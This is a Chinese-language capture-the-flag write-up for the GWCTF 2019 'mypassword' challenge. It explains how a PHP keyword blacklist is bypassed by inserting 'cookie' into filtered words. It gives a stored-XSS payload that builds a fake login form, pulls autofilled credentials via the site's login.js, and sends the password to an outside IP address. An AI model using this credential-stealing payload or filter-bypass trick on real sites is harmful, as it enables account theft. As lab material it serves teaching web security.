BUU [GWCTF 2019]mypassword
开题,是个登录界面,也有注册功能
首先我们注册个号看看。然后登录
提示不是SQL注入
有反馈界面,反馈应该管理员会看,可能存在XSS。
查看源码,注释给出了后端源码,对XSS进行了过滤,那就是XSS漏洞了。
根据源码,waf工作原理是把匹配到的危险字符串替换为空,这里看似用来while,可以防止双写等绕过手法,但是存在逻辑漏洞。foreach
依次遍历黑名单,匹配整个输入字符串中是否存在遍历到的黑名单,由于cookie
是最后一位,我们可以在危险字符中插入cookie来绕过过滤,原理类似于双写绕过,危险字符替换为空后功能正常。
<?php
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
返回登录界面,查看源码,发现login.js
文件
源码不难看出,cookie中存放了登录账号和密码。
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
用户名和密码储存在Cookie中,Cookie写入了表单/页面数据。那么我们留言板利用XSS漏洞,构造一个登录框并且引入login.js提交反馈等待bot点开,带出管理员表单/页面数据,就得到了管理员密码(flag)。
payload:
<input type="text" name="username">
<input type="password" name="password">
<script src="./js/login.js"></script>
<script>
var passwd = document.getElementsByName("password")[0].value;
document.location="http://120.46.41.173:9023/?passwd="+passwd;
</script>
加入绕过过滤后最后的payload:
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var passwd = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://120.46.41.173:9023/?passwd="+passwd;
</scrcookieipt>
稍微等一会,bot的密码(flag)就来了